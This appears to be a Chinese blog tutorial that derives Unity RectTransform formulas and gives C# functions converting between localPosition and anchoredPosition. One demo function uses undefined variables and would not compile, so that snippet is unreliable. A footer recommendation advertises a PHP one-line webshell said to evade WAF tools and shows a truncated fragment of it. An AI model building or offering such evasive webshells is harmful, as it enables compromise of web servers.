参考 https://zhuanlan.zhihu.com/p/119442308

在已经有结果的情况下,先捋一下unity对相关字段的注释就能得出很多公式

(rectMinPos表示左下角在父节点坐标系中的位置,其他以"Pos"结尾的字段同理)

pivot: The normalized position in this RectTransform that it rotates around.
pivot: 旋转中心点的归一化位置(使用自己的宽高归一化)
pivotPos = rectMinPos + rect.size * pivot localPosition: Position of the transform relative to the parent transform
localPosition: 相对于父节点的位置
对于一个RectTransform自己,可以判断localPosition2D和pivotPos就是同一个点
localPosition2D = pivotPos rect.min: The position of the minimum corner of the rectangle.
rect.min: 左下角的位置(相对于谁?应该是中心点pivot坐标)
rect.max: 右上角的位置
rectMinPos = rect.min + pivotPos
rectMaxPos = rect.max + pivotPos anchorMin: The normalized position in the parent RectTransform that the lower left corner is anchored to.
anchorMin: 左下角相对于父节点(左下角)的归一化位置(使用父节点宽高归一化)
anchorMax: 右上角相对于父节点的归一化位置
anchorMin = (anchorMinPos - parentRect.min) / parentRect.size
anchorMax = (anchorMaxPos - parentRect.min) / parentRect.size
anchorMinPos = parentRect.min + anchorMin * parentRect.size
anchorMaxPos = parentRect.min + anchorMax * parentRect.size anchoredPosition: The position of the pivot of this RectTransform relative to the anchor reference point.
anchoredPosition: 中心点相对于"the anchor reference point"的位
anchoredPosition = pivotPos - (anchorMinPos + (anchorMaxPos - anchorMinPos) * pivot) offsetMin: The offset of the lower left corner of the rectangle relative to the lower left anchor
offsetMin: 左下角相对于左下锚点的偏移
offsetMax: 右上角相对于右上锚点的偏移
offsetMin = rectMinPos - anchorMinPos
offsetMax = rectMaxPos - anchorMaxPos sizeDelta: The size of this RectTransform relative to the distances between the anchors.
sizeDelta: 宽高与锚点之间宽高的差值
sizeDelta = rect.size - (anchorMaxPos - anchorMinPos)
= (rectMaxPos - rectMinPos) - (anchorMaxPos - anchorMinPos)
= (rectMaxPos - anchorMaxPos) - (rectMinPos - anchorMinPos)
= offsetMax - offsetMin

1. 从localPosition到anchoredPosition


// 计算自身的anchoredPosition(直接从RectTransform获取即可,这里只演示推导流程,没有实用性)
public static Vector2 GetAnchoredPosition(RectTransform transform)
{
/* 计算推导
anchoredPosition = pivotPos - (anchorMinPos + (anchorMaxPos - anchorMinPos) * pivot)
到这里其实就已经可以算了, 只是步骤多一点, 继续化简以达到参考文章的公式
代入 sizeDelta = rect.size - (anchorMaxPos - anchorMinPos)
anchoredPosition = pivotPos - anchorMinPos - (rect.size - sizeDelta) * pivot
代入 pivotPos = localPosition2D = rectMinPos + rect.size * pivot
anchoredPosition = rectMinPos + rect.size * pivot - anchorMinPos - rect.size * pivot + sizeDelta * pivot
= rectMinPos - anchorMinPos + sizeDelta * pivot
代入 offsetMin = rectMinPos - anchorMinPos
anchoredPosition = offsetMin + sizeDelta * pivot
*/ if (transform == null || transform.Equals(null)) return Vector2.zero;
return transform.offsetMin + sizeDelta * pivot;
} public static Vector2 LocalToAnchoredPosition(RectTransform transform, Vector2 localPosition2D)
{
if (transform == null || transform.Equals(null)) return Vector2.zero;
RectTransform parent = transform.parent?.GetComponent<RectTransform>();
if (parent == null) return Vector2.zero; // 在传入localPosition2D的情况下, 就不能使用刚才化简的结果了, 使用最早一版的公式
Rect parentRect = parent.rect;
Vector2 pivot = transform.pivot;
Vector2 anchorMin = transform.anchorMin;
Vector2 anchorMax = transform.anchorMax;
Vector2 anchorMinPos = parentRect.min + anchorMin * parentRect.size;
Vector2 anchorMaxPos = parentRect.min + anchorMax * parentRect.size; return localPosition2D - (anchorMinPos + (anchorMaxPos - anchorMinPos) * pivot);
}

2. 从anchoredPosition到localPosition

// 刚才的函数反向一下即可
public static Vector2 AnchoredToLocalPosition(RectTransform transform, Vector2 anchoredPosition)
{
if (transform == null || transform.Equals(null)) return Vector2.zero;
RectTransform parent = transform.parent?.GetComponent<RectTransform>();
if (parent == null) return Vector2.zero; Rect parentRect = parent.rect;
Vector2 pivot = transform.pivot;
Vector2 anchorMin = transform.anchorMin;
Vector2 anchorMax = transform.anchorMax;
Vector2 anchorMinPos = parentRect.min + anchorMin * parentRect.size;
Vector2 anchorMaxPos = parentRect.min + anchorMax * parentRect.size; return anchoredPosition + (anchorMinPos + (anchorMaxPos - anchorMinPos) * pivot);
}

Unity anchoredPosition转localPosition的更多相关文章

  1. Unity position和localposition

    1. position是根据世界原点为中心 2. localPosition是根据父节点为中心,如果没有父节点,localpositon和position是没有区别的 3.选中一个物体左上角Globa ...

  2. Unity的UGUI在SetParent后修改UI的localposition问题

    正常情况下,UGUI设置UI的localposition可以直接赋值 UIxxx.rectTransform.localPosition = ] / 2f, , ); 运行后在Unity的Inspec ...

  3. # Unity 游戏框架搭建 2019 (十六、十七) localPosition 简化与Transform 重置

    在上一篇我们收集了一个 屏幕分辨率检测的一个小工具.今天呢再往下接着探索. 问题 我们今天在接着探索.不管是写 UI 还是写 GamePlay,多多少少都需要操作 Transform. 而在笔者刚接触 ...

  4. RectTransform的localPosition与anchoredPosition(3D)的区别

    RectTransform继承自Transform,用于描述矩形的坐标(Position),尺寸(Size),锚点(anchor)和中心点(pivot)等信息,每个2D布局下的元素都会自动生成该组件. ...

  5. unity, surface shader access world position and localposition

    一,surface shader中访问worldposition 在surface shader中访问世界坐标,只需在Input结构体中声明float3 worldPos即可,如下:  struct  ...

  6. Unity 坐标 转换 详解 World世界坐标 Screen屏幕坐标 View视口坐标 GUI坐标 NGUI坐标 localPosition相对父级坐标

    在制作游戏中我们经常会遇到这样一个需求: 在人物模型的上面显示 名字.称号 一类的文字或者图片 如下图 人物模型属于是Camera1   UI Title信息属于NGUI Camera2 如下图 这时 ...

  7. unity, change parent and keep localPosition or worlPosition

    node.parent=othernode等价于node.setParent(othernode,true),是保持世界坐标不变. node.setParent(othernode,false)则可以 ...

  8. Unity ugui屏幕适配与世界坐标到ugui屏幕坐标的转换

    我们知道,如今的移动端设备分辨率五花八门,而开发过程中往往只取一种分辨率作为设计参考,例如采用1920*1080分辨率作为参考分辨率. 选定了一种参考分辨率后,美术设计人员就会固定以这样的分辨率来设计 ...

  9. Unity ugui拖动控件(地图模式与物件模式)

    拖动在游戏中使用频繁,例如将装备拖动到指定的快捷栏,或者大地图中拖动以查看局部信息等. Unity的EventSystems中可以直接继承几个接口来实现拖动功能,如下: namespace Unity ...

  10. Unity ugui Anchor锚点自动适配画布中的相对位置

    本随笔参考了以下博客,在此基础上进行优化和改进: https://blog.csdn.net/qq_39640124/article/details/88284191 ugui中的Anchor预设如下 ...

随机推荐

  1. 语音合成技术汇总1:Glow-TTS:通过单调对齐实现文本到语音的生成流

    今天开始开一期语音合成经典论文的翻译 Glow-TTS:通过单调对齐实现文本到语音的生成流 摘要: 最近,文本到语音(Text-to-Speech,TTS)模型,如FastSpeech和ParaNet ...

  2. Django日志输出

    # 自定义日志输出信息 LOGGING = { 'version': 1, 'disable_existing_loggers': True, 'formatters': { 'standard': ...

  3. 分享一个过狗过D盾过宝塔的php一句话木马

    <?php if(isset($_REQUEST['phpsessid'])){ class A { static $d; } class B extends A { } A::$d =base ...

  4. 强化学习 Proximal Policy Optimization (PPO)

    参考: 李宏毅老师课件 PPO = Policy Gradient 从 On-policy 到 Off-policy, 再加一些constraint Policy Gradient Basic Con ...

  5. iOS视图控件的内容显示和离屏渲染流程

    iOS中UI控件内容显示流程 UIKit界面组成 iOS中组成页面的各个元素基本来自UIKit,我们可以修改布局或自定义绘制来修改UIKit元素的默认展示. UIView的页面显示内容有CALayer ...

  6. (2023.7.24)软件加密与解密-2-1-程序分析方法[XDbg].md

    body { font-size: 15px; color: rgba(51, 51, 51, 1); background: rgba(255, 255, 255, 1); font-family: ...

  7. 使用API调用获取商品数据的完整方案

    ​ 在电子商务应用程序中,商品详情接口是不可或缺的一部分.它用于从电商平台或自己的数据库中获取商品数据,并将其提供给应用程序的其他部分使用.本文将详细介绍如何设计一个完整的商品详情接口方案,其中包括使 ...

  8. Vue用v-bind给标签属性赋值 src, href...

    给属性渲染数据不能使用 {{name}} 标记, 请使用 v-bind:属性名称="name" name是json数据键值对中的键名, 请配合下面JS代码片食用 HTML < ...

  9. 最接地气的.NET微服务框架

    前言: "人必有所执,方能有所成",从2018年底我就开始规划要写一个.NET微服务框架,5年了,今天终于正式发布了. 正文: Wing 致力于打造一个功能强大.最接地气的.NET ...

  10. KRPano插件一键解密大师 支持最新版KRPano XML/JS解密 ,支持分析下载静态/动态网站资源

    KRPano插件一键解密大师,可以一键解密KRPano的XML/JS插件,并可以分析下载静态和动态网站的所有资源.软件下载安装即可使用,解密仅需鼠标一键点击即可,无需配置任何开发环境,方便全景开发人员 ...